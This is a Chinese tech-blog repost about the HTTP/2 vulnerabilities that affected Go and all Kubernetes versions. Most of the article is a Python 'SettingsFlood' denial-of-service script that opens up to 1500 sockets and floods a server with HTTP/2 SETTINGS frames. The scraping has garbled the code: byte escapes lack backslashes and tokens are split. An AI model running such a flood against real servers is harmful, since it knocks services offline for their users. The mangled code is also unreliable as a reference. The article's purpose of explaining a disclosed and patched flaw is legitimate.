HTTP/2 最新漏洞,直指 Kubernetes!
Posted Java技术栈
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HTTP/2 最新漏洞,直指 Kubernetes!相关的知识,希望对你有一定的参考价值。
Java技术栈
www.javastack.cn
在这个数据、应用横行的时代,漏洞的出现早已屡见不鲜。在尚未造成大面积危害之前,我们该如何做好防御措施?或许从过往经常发生漏洞的事件中我们能够得到一些启发。
近日,Netflix、Google 及 CERT/CC 披露了 HTTP/2 相关的 8 个安全漏洞,就连用来打造 Kubernetes 的 Go 语言也受到其中两个漏洞的波及,导致 Kubernetes 所有版本都受到相关漏洞影响,可能造成服务阻断。不过好在现在漏洞已修复,而我们在这个过程中又可以学习到什么?
PRIORITY
RST_STREAM
SETTINGS
PUSH_PROMISE
PING
GOAWAY
WINDOW_UPDATE
CONTINUATION
import socket
import sys
import time
class SettingsFlood:
SETTINGS_FRAME = b 'x00x00x00x04x00x00x00x00x00'
PREAMBLE = b 'PRI * HTTP/2.0 SM x00x00*x04x00x00x00'
b 'x00x00x00x01x00x00x10x00x00x02x00x00x00x01'
b 'x00x04x00x00xffxffx00x05x00x00@x00x00x08x00'
b 'x00x00x00x00x03x00x00x00dx00x06x00x01x00x00'
def __init__(self, ip, port=80, socket_count=200):
self._ip = ip
self._port = port
self._sockets = [ self.create_socket() for _ in range(socket_count)]
def create_socket(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout( 4)
s.connect(( self._ip, self._port))
s.send( self.PREAMBLE)
return s
except socket.error as se:
print( "Error: "+str(se))
time.sleep( 0. 5)
return self.create_socket()
def attack(self, timeout=sys.maxsize, sleep=1):
t, i = time.time(), 0
while time.time() - t < timeout:
for s in self. _sockets:
try:
s.send( self.SETTINGS_FRAME)
except socket. error:
self._sockets.remove(s)
self._sockets.append( self.create_socket())
time.sleep(sleep/len( self._sockets))
if __name_ _ == "__main__":
dos = SettingsFlood( "127.0.0.1", 8080, socket_count= 1500)
dos.attack(timeout= 60* 10* 10)
原文:https://randywestergren.com/a-closer-look-at-recent-http-2-vulnerabilities-affecting-k8s-and-other-implementations/
译者:弯月,责编:屠敏,CSDN 出品
2、
3、
4、
5、
点击「阅读原文」和栈长学更多~
以上是关于HTTP/2 最新漏洞,直指 Kubernetes!的主要内容,如果未能解决你的问题,请参考以下文章